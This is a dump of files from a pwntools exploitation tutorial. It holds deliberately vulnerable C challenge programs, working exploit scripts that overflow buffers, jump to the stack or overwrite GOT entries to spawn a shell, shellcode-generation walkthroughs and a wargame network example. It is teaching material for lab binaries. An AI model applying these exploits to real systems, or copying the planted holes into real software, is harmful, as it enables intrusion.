pwntools namespace 2 | from pwn import * 3 | 4 | # Create an instance of the process to talk to 5 | io = gdb.debug('./challenge') 6 | 7 | # Attach a debugger to the process so that we can step through 8 | pause() 9 | 10 | # Load a copy of the binary so that we can find a JMP ESP 11 | binary = ELF('./challenge') 12 | 13 | # Assemble the byte sequence for 'jmp esp' so we can search for it 14 | jmp_esp = asm('jmp esp') 15 | jmp_esp = binary.search(jmp_esp).next() 16 | 17 | log.info("Found jmp esp at %#x" % jmp_esp) 18 | 19 | # Overflow the buffer with a cyclic pattern to make it easy to find offsets 20 | # 21 | # If we let the program crash with just the pattern as input, the register 22 | # state will look something like this: 23 | # 24 | # EBP 0x6161616b ('kaaa') 25 | # *ESP 0xff84be30 <-- 'maaanaaaoaaapaaaqaaar...' 26 | # *EIP 0x6161616c ('laaa') 27 | crash = False 28 | 29 | if crash: 30 | pattern = cyclic(512) 31 | io.sendline(pattern) 32 | pause() 33 | sys.exit() 34 | 35 | # Fill out the buffer until where we control EIP 36 | exploit = cyclic(cyclic_find(0x6161616c)) 37 | 38 | # Fill the spot we control EIP with a 'jmp esp' 39 | exploit += pack(jmp_esp) 40 | 41 | # Add our shellcode 42 | exploit += asm(shellcraft.sh()) 43 | 44 | # gets() waits for a newline 45 | io.sendline(exploit) 46 | 47 | # Enjoy our shell 48 | io.interactive() 49 | -------------------------------------------------------------------------------- /walkthrough/elf-symbols-got-overwrite/Makefile: -------------------------------------------------------------------------------- 1 | 2 | challenge: challenge.c 3 | gcc -g -m32 -fstack-protector-all -pie -fPIC $^ -o $@ -------------------------------------------------------------------------------- /walkthrough/elf-symbols-got-overwrite/README.md: -------------------------------------------------------------------------------- 1 | # ELF Symbol Lookups and GOT Overwrites 2 | 3 | This is a position-independent binary which gives you a module address, and a trivial write-what-where. 4 | 5 | The exploit demonstrates how to perform symbol lookups in the GOT, PLT, and other exported symbols. It also shows how to rebase the module when its actual base address is different from the ELF's base address (e.g. PIE). 6 | 7 | Also as an added tip, it demonstrates the `context.binary` field, which not only automatically loads an ELF, but also automagically sets the `context.arch`, `context.bits`, and `context.endianness` variables to the appropriate ones. -------------------------------------------------------------------------------- /walkthrough/elf-symbols-got-overwrite/challenge: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/carlospolop/pwntools-tutorial/a948b006d7f90f44ff5a0a80292134b0d21d3511/walkthrough/elf-symbols-got-overwrite/challenge -------------------------------------------------------------------------------- /walkthrough/elf-symbols-got-overwrite/challenge.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int oh_look_useful() { 5 | system("/bin/sh"); 6 | } 7 | 8 | int main() { 9 | void *infoleak = &main; 10 | 11 | write(1, &infoleak, sizeof(infoleak)); 12 | 13 | while(1) { 14 | void **where; 15 | void *what; 16 | 17 | read(0, &where, sizeof(where)); 18 | read(0, &what, sizeof(what)); 19 | 20 | printf("*%p == %p\n", where, what); 21 | *where = what; 22 | } 23 | } 24 | 25 | -------------------------------------------------------------------------------- /walkthrough/elf-symbols-got-overwrite/exploit.py: -------------------------------------------------------------------------------- 1 | # Import everything in the pwntools namespace 2 | from pwn import * 3 | 4 | # The target binary is 64-bit. 5 | # While we can explicitly specify the architecture and other things 6 | # in the context settings, we can also absorb them from the file. 7 | context.binary = './challenge' 8 | 9 | # Create an instance of the process to talk to 10 | io = process(context.binary.path) 11 | 12 | # Receive the address of main 13 | main = io.unpack() 14 | 15 | # Load up a copy of the ELF so we can look up its GOT and symbol table 16 | elf = context.binary 17 | 18 | # Fix up its base address. This automatically updates all of the symbols. 19 | elf.address = main - elf.symbols['main'] 20 | 21 | # We want to overwrite the pointer for "read" 22 | where = elf.got['read'] 23 | 24 | # We want to overwrite it with the address of the function that gives us a shell 25 | what = elf.symbols['oh_look_useful'] 26 | 27 | # If we really wanted to, we could even find the address of "/bin/sh" in memory 28 | binsh = elf.search("/bin/sh\x00").next() 29 | 30 | log.info("Main: %x" % main) 31 | log.info("Address: %x" % elf.address) 32 | log.info("Where: %x" % where) 33 | log.info("What: %x" % what) 34 | 35 | # Send the payload 36 | io.pack(where) 37 | io.pack(what) 38 | 39 | # Enjoy the shell 40 | io.interactive() -------------------------------------------------------------------------------- /walkthrough/foreign-architecture/Makefile: -------------------------------------------------------------------------------- 1 | 2 | challenge: challenge.c 3 | arm-linux-gnueabihf-gcc -marm -g -fno-stack-protector -z execstack $^ -o $@ -------------------------------------------------------------------------------- /walkthrough/foreign-architecture/README.md: -------------------------------------------------------------------------------- 1 | # Foreign Architecture 2 | 3 | This example is the exact same as the Basic Buffer Overflow example, but demonstrates how to interact with foreign-architecture binaries. 4 | 5 | In order for all of this to work, you'll need some cross-architecture libraries installed. FOr this example, we'll use ARM as it's easy to get the dependencies on Ubuntu. 6 | 7 | Detailed instructions for setting up a foreign-architecture toolchain are available in my [StackExchange post][post]. While the topic is MIPS, the exact same steps apply. 8 | 9 | If you just want the commands and no prose, here you go: 10 | 11 | ```sh 12 | sudo apt-get install qemu qemu-user qemu-user-static 13 | sudo apt-get install gdb-multiarch 14 | sudo apt-get install libc6-armhf-armel-cross 15 | sudo apt-get install gcc-arm-linux-gnueabihf 16 | sudo mkdir /etc/qemu-binfmt 17 | sudo ln -s /usr/arm-linux-gnueabihf /etc/qemu-binfmt/arm 18 | ``` 19 | 20 | [post]: http://reverseengineering.stackexchange.com/a/8917/12503 21 | -------------------------------------------------------------------------------- /walkthrough/foreign-architecture/challenge: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/carlospolop/pwntools-tutorial/a948b006d7f90f44ff5a0a80292134b0d21d3511/walkthrough/foreign-architecture/challenge -------------------------------------------------------------------------------- /walkthrough/foreign-architecture/challenge.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int oh_look_useful() { 5 | asm("bx sp"); 6 | } 7 | 8 | int main() { 9 | char buffer[32]; 10 | gets(buffer); 11 | } 12 | 13 | -------------------------------------------------------------------------------- /walkthrough/foreign-architecture/exploit.py: -------------------------------------------------------------------------------- 1 | # Import everything in the pwntools namespace 2 | from pwn import * 3 | 4 | # We need to tell pwntools that we're using ARM 5 | # 6 | # We forced the GCC compiler to emit ARM instructions instead of 7 | # thumb, but if we did not, you would otherwise want to set it to 8 | # 'thumb'. 9 | context.arch = 'arm' 10 | 11 | 12 | # You could also specify any number of things about the exploit 13 | # In this case it's not necessary, as these are assumed. 14 | context.bits = 32 15 | context.endian = 'little' 16 | 17 | # You can also specify everything in one line 18 | context(bits=32, endian='little') 19 | 20 | # Create an instance of the process to talk to 21 | # 22 | # Because this is a foreign-architecture binary, we cannot attach to it 23 | # after it has been started. We must launch it under QEMU with a GDB 24 | # stub. Luckily, this is very easy. 25 | io = gdb.debug('./challenge') 26 | 27 | # Load a copy of the binary so that we can find a JMP ESP 28 | binary = ELF('./challenge') 29 | 30 | # Assemble the byte sequence for 'bx sp' so we can search for it 31 | # However, the assembler from GCC is using thumb. 32 | jmp_esp = asm('bx sp') 33 | jmp_esp = binary.search(jmp_esp).next() 34 | 35 | log.info("Found jmp esp at %#x" % jmp_esp) 36 | 37 | # Overflow the buffer with a cyclic pattern to make it easy to find offsets 38 | # 39 | # If we let the program crash with just the pattern as input, the register 40 | # state will look something like this: 41 | # 42 | # *R11 0x61616169 ('iaaa') 43 | # *R12 0xf6ffe294 <-- 0 44 | # *SP 0xf6ffe270 <-- 'kaaa' 45 | # *PC 0x6161616a ('jaaa') 46 | crash = False 47 | 48 | if crash: 49 | pattern = cyclic(512) 50 | io.sendline(pattern) 51 | pause() 52 | sys.exit() 53 | 54 | # Fill out the buffer until where we control EIP 55 | exploit = cyclic(cyclic_find(0x6161616a)) 56 | 57 | # Fill the spot we control EIP with a 'jmp eip' 58 | exploit += pack(jmp_esp) 59 | 60 | # Add our shellcode 61 | exploit += asm(shellcraft.sh()) 62 | 63 | # gets() waits for a newline 64 | io.sendline(exploit) 65 | 66 | # Enjoy our shell 67 | io.interactive() -------------------------------------------------------------------------------- /walkthrough/remote-network-connection/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # Vortex Level 0 -> Level 1 4 | # 5 | # Level Goal 6 | # 7 | # Your goal is to connect to port 5842 on vortex.labs.overthewire.org and read 8 | # in 4 unsigned integers in host byte order. Add these integers together and 9 | # send back the results to get a username and password for vortex1. 10 | # 11 | # This information can be used to log in using SSH. 12 | # 13 | # Note: vortex is on an 32bit x86 machine (meaning, a little endian architecture) 14 | 15 | io = remote('vortex.labs.overthewire.org', 5842) 16 | 17 | # You can receive data manually. We want exactly four bytes. 18 | data = io.recvn(4) 19 | 20 | # Now let's unpack them as a 32-bit little-endian integer 21 | value = unpack(data, bits=32, endian='little') 22 | 23 | # By default, pwntools sets everything to i386, which is 32-bit little endian. 24 | # Because of this, there is no need to specify the extra arguments. 25 | # 26 | # The above line could instead just read: 27 | value = unpack(data) 28 | 29 | # There's also a helper available directly on the tube itself 30 | # Let's read the other integers 31 | value += io.unpack() 32 | value += io.unpack() 33 | value += io.unpack() 34 | 35 | # Now let's send it back 36 | io.pack(value) 37 | 38 | # Receive all data until the connection closes 39 | log.info(io.recvall()) -------------------------------------------------------------------------------- /walkthrough/shellcode-advanced/README.md: -------------------------------------------------------------------------------- 1 | # Advanced Shellcode 2 | 3 | **Note**: You should check out the [basic](../shellcode-basic/README.md) and [intermediate](../shellcode-intermediate/README.md) tutorial first! 4 | 5 | In order to build new modules and make them available via `shellcraft`, only a few steps are necessary. 6 | 7 | First, all of the `shellcraft` templates are really just [Mako][mako] templates. Generally this is used for server-side scripting in Python web servers, but it fits the application of pasting together arbitrary bits of shellcode very well! 8 | 9 | The templates are all located in the `pwnlib/shellcraft/templates/ARCH/OS` directories. For example `$ shellcraft i386.linux.sh` is actually invoking the template defined in [`pwnlib/shellcraft/templates/i386/linux/sh.asm`][sh] 10 | 11 | ## Syntax Highlighting 12 | 13 | This generally helps make the templates more readable. Pwntools has a [syntax highlighting](https://github.com/Gallopsled/pwntools/blob/master/extra/textmate/README.md) plug-in for Sublime Text / TextMate. 14 | 15 | ## Anatomy of a Simple Template 16 | 17 | For Pwntools, the general format of a template looks like what's shown below. 18 | In particular, there are a few things to note about syntax: 19 | 20 | - `<%` and `%>` contain Python code blocks 21 | - `<%tag>` and `` contain special tags defined by Pwntools or Mako 22 | + These are used to generate the function wrappers 23 | - `${...}` is a Python expression 24 | - `${var}` is replaced with the Python variable (as passed through `str()` or `%s`) 25 | - `${function(...)}` is the same, the return value is inserted in its place 26 | + Mako templates just emit a string, this makes it very easy to nest them! 27 | - Lines starting with `##` are ignored by Mako 28 | - Everything else is emitted verbatim. 29 | 30 | After copying the below template to `pwnlib/shellcraft/templates/i386/linux/demo.asm`, it can be invoked from Python or the command-line tool. 31 | 32 | ```sh 33 | $ shellcraft i386.linux.demo 1 hello 1 34 | 6a6f6868656c6c6a015f89fb89e16a055a6a0458cd80ebfe 35 | $ shellcraft i386.linux.demo 1 hello 1 -f asm | head -n3 36 | /* Push the message onto the stack */ 37 | /* push 'hello\x00' */ 38 | push 0x6f 39 | ... 40 | ``` 41 | 42 | ### Sample Template 43 | 44 | ``` 45 | <% 46 | # The constants module lets the user provide the string 'SYS_execve', 47 | # and then we can resolve it to the integer value. 48 | # 49 | # For example, on i386, constants.eval('SYS_execve') == 11 50 | from pwnlib import constants 51 | 52 | # Pushstr provides a simple way to get a string onto the stack 53 | # with no NULLs or newlines in the emitted assembly. 54 | from pwnlib.shellcraft.i386 import pushstr 55 | 56 | # Mov provides a simple way to mov values into registers, or 57 | # between registers, without caring which is occurring. 58 | # It also is generally NULL- and newline-free. 59 | # 60 | # This is not a big deal on i386 since it's all the same instruction, 61 | # but on RISC architectures it's really a requirement. 62 | from pwnlib.shellcraft.i386 import mov 63 | 64 | # All of the Linux syscalls have a small wrapper template around them. 65 | # These are in turn a wrapper around the "syscall" template. 66 | # The syscall template is in turn as wrapper around the "mov" template 67 | # to move the values into the appropriate registers. 68 | # 69 | # Using the "write" syscall wrapper is much more convenient than writing 70 | # everything out by hand, even if some of the code is duplicated. 71 | from pwnlib.shellcraft.i386.linux import write 72 | 73 | # The label template provides a way to ensure that all labels are unique. 74 | # This is important if the same shellcode is included multiple times, 75 | # which is common for simple loops. 76 | from pwnlib.shellcraft.common import label 77 | %> 78 | 79 | ## The arguments section allows us to specify arguments to the template. 80 | ## These are turned into Python arguments for the Python function wrapper. 81 | <%page args="sock, message, spin=False"/> 82 | 83 | ## The docstring is useful and informative for users, but is not required. 84 | ## This is printed out with "shellcraft ... -?". 85 | <%docstring> 86 | Sends a message to a file descriptor, and then loops forever! 87 | 88 | Arguments: 89 | sock(int,reg): Socket to send the message over 90 | message(str): Message to send 91 | spin(bool): Infinite loop after sending the message 92 | 93 | 94 | 95 | ## Templates can embed Python logic directly. 96 | ## Any variables or functions created in a block are available 97 | ## immediately in the template. 98 | <% 99 | target = label('target') 100 | 101 | # This is not necessary since we're just passing it into 102 | # the 'mov' template, which already does this. 103 | # Just for demonstration purposes. 104 | sock = constants.eval(sock) 105 | %> 106 | 107 | ## Other templates are inserted as a Python function call. 108 | /* Push the message onto the stack */ 109 | ${pushstr(message)} 110 | 111 | /* Set the socket into edi for fun */ 112 | ${mov('edi', sock)} 113 | 114 | /* Invoke the write syscall */ 115 | ${write('edi', 'esp', len(message))} 116 | 117 | ## Templates can include conditional logic, to either include 118 | ## or exclude certain sections. 119 | %if spin: 120 | /* Loop forever */ 121 | ${target}: 122 | jmp ${target} 123 | %endif 124 | ``` 125 | 126 | ## Tips and Best Practices 127 | 128 | And a few things to note about general "good style" for templates. 129 | 130 | - Use `common.label` instead of a constant label is preferred, since `common.label` ensures the label name is unique, even if the shellcode template is used multiple times. 131 | - Use the helper functions `mov`, `pushstr`, `syscall`, and the `syscall` wrappers (like `write` used below) instead of reinventing the wheel 132 | + On some architectures, these emit NULL- and newline-free shellcode 133 | + These themselves are just other shellcode templates with some logic 134 | - Any integer fields should be passed through `constants.eval` so that well-known constant values can be used instead. 135 | + `constants.eval("SYS_execve") ==> int` 136 | + `int(constants.SYS_execve) ==> int` 137 | + If you're just passing it to another template, e.g. `mov`, this is already handled for you. 138 | 139 | # FAQ and Common Problems 140 | 141 | ## "Reserved words declared in template" 142 | 143 | You can't have any variables named `loop`, among some other things. It's a limitation of Mako. 144 | 145 | ## Template Caching 146 | 147 | One problem you may run into is Mako template caching. In order to make Pwntools as speedy as possible, the compiled templates are cached. This is sometimes a burden on development of new shellcode, but in general is useful. 148 | 149 | If you run into weird problems, try clearing the cache in `~/.pwntools-cache/mako` (or `~/.pwntools-cache/mako`). 150 | 151 | [mako]: http://makotemplates.org 152 | [sh]: https://github.com/Gallopsled/pwntools/blob/master/pwnlib/shellcraft/templates/i386/linux/sh.asm 153 | -------------------------------------------------------------------------------- /walkthrough/shellcode-basic/README.md: -------------------------------------------------------------------------------- 1 | # shellcode 2 | 3 | Every once in a while, you'll need to run some shellcode. 4 | 5 | Before jumping into how to do things in Python with pwntools, it's worth exploring the command-line tools as they can really make life easy! 6 | 7 | ## `asm` 8 | 9 | This command line tool does what it says on the tin. 10 | 11 | ```sh 12 | $ asm nop 13 | 90 14 | $ asm 'mov eax, 0xdeadbeef' 15 | b8efbeadde 16 | ``` 17 | 18 | There are a few output formats to choose from. By default, the tool writes hex-encoded output to stdout if it's a terminal. If it's a pipe or file, it will instead just write the binary data. 19 | 20 | `phd` is a command that comes with pwntools which is very similar to `xxd`, but includes highlighting of printable ASCII values, NULL bytes, and some other special values. 21 | 22 | ```sh 23 | $ asm nop -f hex 24 | 90 25 | $ asm nop -f string 26 | '\x90' 27 | $ asm nop | phd 28 | 00000000 90 │·│ 29 | 00000001 30 | ``` 31 | 32 | Different architectures and endianness values can be selected as well, as long as you have an appropriate version of `binutils` installed. See the [installation](installation.md) page for more information. 33 | 34 | ```sh 35 | $ asm -c arm nop 36 | 00f020e3 37 | $ asm -c powerpc nop 38 | 60000000 39 | $ asm -c mips nop 40 | 00000000 41 | ``` 42 | 43 | Pwntools is also aware of most common constants, and resolves them in a context-sensitive manner. 44 | 45 | ```sh 46 | $ asm 'push SYS_execve' 47 | 6a0b 48 | $ asm -c amd64 'push SYS_execve' 49 | 6a3b 50 | ``` 51 | 52 | ## `disasm` 53 | 54 | Disasm is the counterpart to `asm`. 55 | 56 | ```sh 57 | $ asm 'push eax' | disasm 58 | 0: 50 push eax 59 | $ asm -c arm 'bx lr' | disasm -c arm 60 | 0: e12fff1e bx lr 61 | ``` 62 | 63 | ## `shellcraft` 64 | 65 | Shellcraft is the command-line interface to the shellcode library that comes with Pwntools. To get a list of all avialable shellcode, just use the `shellcraft` command by itself. 66 | 67 | ```sh 68 | $ shellcraft 69 | aarch64.linux.accept 70 | aarch64.linux.access 71 | aarch64.linux.acct 72 | ... 73 | ``` 74 | 75 | Many of the shellcraft templates are just syscall wrappers, designed to make shellcode easier. A few of them -- in particular `sh`, `dupsh`, and `echo` -- are compact implementations of common shellcode for `execve`, `dup2`ing file descriptors, and writing a string to `stdout`. 76 | 77 | Like the `asm` tool, `shellcraft` has multiple output modes. 78 | 79 | ```sh 80 | $ shellcraft i386.linux.sh -fasm 81 | 6a68682f2f2f73682f62696e89e331c96a0b5899cd80 82 | $ shellcraft i386.linux.sh -fasm 83 | /* push '/bin///sh\x00' */ 84 | push 0x68 85 | push 0x732f2f2f 86 | push 0x6e69622f 87 | 88 | /* call execve('esp', 0, 0) */ 89 | mov ebx, esp 90 | xor ecx, ecx 91 | push 0xb 92 | pop eax 93 | cdq /* Set edx to 0, eax is known to be positive */ 94 | int 0x80 95 | ``` 96 | 97 | ## Debugging Shellcode 98 | 99 | Invariably, you'll want to debug your shellcode, or just experiment with a small snippet. Pwntools makes this super easy! 100 | 101 | ### Emitting ELF files 102 | 103 | The first option is to emit an ELF file which contains the shellcode, and load it in GDB manually. 104 | 105 | ```sh 106 | $ shellcraft i386.linux.sh -f elf > sh 107 | $ asm 'mov eax, 1; int 0x80' -f elf > exit 108 | $ chmod +x sh exit 109 | $ strace ./exit 110 | execve("./exit", ["./exit"], [/* 94 vars */]) = 0 111 | _exit(0) = ? 112 | $ echo 'echo Hello!' | strace -e execve ./sh 113 | execve("./sh", ["./sh"], [/* 94 vars */]) = 0 114 | execve("/bin///sh", [0], [/* 0 vars */]) = 0 115 | Hello! 116 | ``` 117 | 118 | Some of the commands may take options, and all of them should be documented. `shellcraft` will also resolve any constants it knows about. 119 | 120 | ```sh 121 | $ shellcraft i386.linux.echo -? 122 | Writes a string to a file descriptor 123 | 124 | Arguments: 125 | string(str): Message to print 126 | sock: File descriptor. Default is ebp. 127 | $ shellcraft i386.linux.echo "Hello, world" STDOUT_FILENO 128 | 686f726c64686f2c20776848656c6c6a015b89e16a0c5a6a0458cd80 129 | $ shellcraft i386.linux.mov eax SYS_execve -fasm 130 | push 0xb 131 | pop eax 132 | $ shellcraft i386.linux.mov eax SYS_execve 133 | 6a0b58 134 | ``` 135 | 136 | ### Launching GDB 137 | 138 | Instead of emitting an ELF and launching GDB manually, you can just jump straight into GDB. 139 | 140 | ```sh 141 | $ shellcraft i386.linux.sh --debug 142 | $ asm 'mov eax, 1; int 0x80;' --debug 143 | ``` -------------------------------------------------------------------------------- /walkthrough/shellcode-intermediate/README.md: -------------------------------------------------------------------------------- 1 | # shellcode 2 | 3 | **Note**: You should check out the [basic shellcode tutorial first](../shellcode-basic/README.md)! 4 | 5 | Now that you've seen all of the tools available to you on the command-line, it's easy to learn about their Python counterparts. 6 | 7 | ## `asm` 8 | 9 | The `asm` tool works pretty much the same way. 10 | 11 | ```python 12 | from pwn import * 13 | 14 | nop = asm('nop') 15 | arm_nop = asm('nop', arch='arm') 16 | ``` 17 | 18 | Like most other things in Pwntools, it's aware of the settings in `context`. 19 | 20 | ```python 21 | context.arch = 'powerpc' 22 | powerpc_nop = asm('nop') 23 | ``` 24 | 25 | ## `disasm` 26 | 27 | The `disasm` tool also works pretty much the same way. 28 | 29 | ```python 30 | from pwn import * 31 | 32 | print disasm('\x90') 33 | # nop 34 | 35 | print disasm('\xff\x00\x40\xe3', arch='arm') 36 | # 0: e34000ff movt r0, #255 ; 0xff 37 | ``` 38 | 39 | ## `shellcraft` 40 | 41 | The shellcraft module also works pretty much the same way. By default, the `shellcraft` module uses the currently-active OS and architecture from the `context` settings. 42 | 43 | Alternately, you can directly invoke a specific template by its full path. 44 | 45 | ```python 46 | from pwn import * 47 | 48 | print shellcraft.sh() 49 | # /* push '/bin///sh\x00' */ 50 | # push 0x68 51 | # push 0x732f2f2f 52 | # push 0x6e69622f 53 | # 54 | # /* call execve('esp', 0, 0) */ 55 | # mov ebx, esp 56 | # xor ecx, ecx 57 | # push 0xb 58 | # pop eax 59 | # cdq /* Set edx to 0, eax is known to be positive */ 60 | # int 0x80 61 | 62 | context.arch = 'arm' 63 | # print shellcraft.sh() 64 | # adr r0, bin_sh 65 | # mov r2, #0 66 | # push {r0, r2} 67 | # mov r1, sp 68 | # svc SYS_execve 69 | # bin_sh: .asciz "/bin/sh" 70 | 71 | 72 | # Can also be explicitly invoked directly by path. 73 | print shellcraft.i386.linux.sh() 74 | ``` 75 | 76 | Functions which take arguments work exactly like normal functions. 77 | 78 | ```python 79 | from pwn import * 80 | 81 | print shellcraft.pushstr("Hello!") 82 | # /* push 'Hello!\x00' */ 83 | # push 0x1010101 84 | # xor dword ptr [esp], 0x101206e 85 | # push 0x6c6c6548 86 | 87 | print shellcraft.pushstr("Goodbye!") 88 | # /* push 'Goodbye!\x00' */ 89 | # push 0x1 90 | # dec byte ptr [esp] 91 | # push 0x21657962 92 | # push 0x646f6f47 93 | ``` --------------------------------------------------------------------------------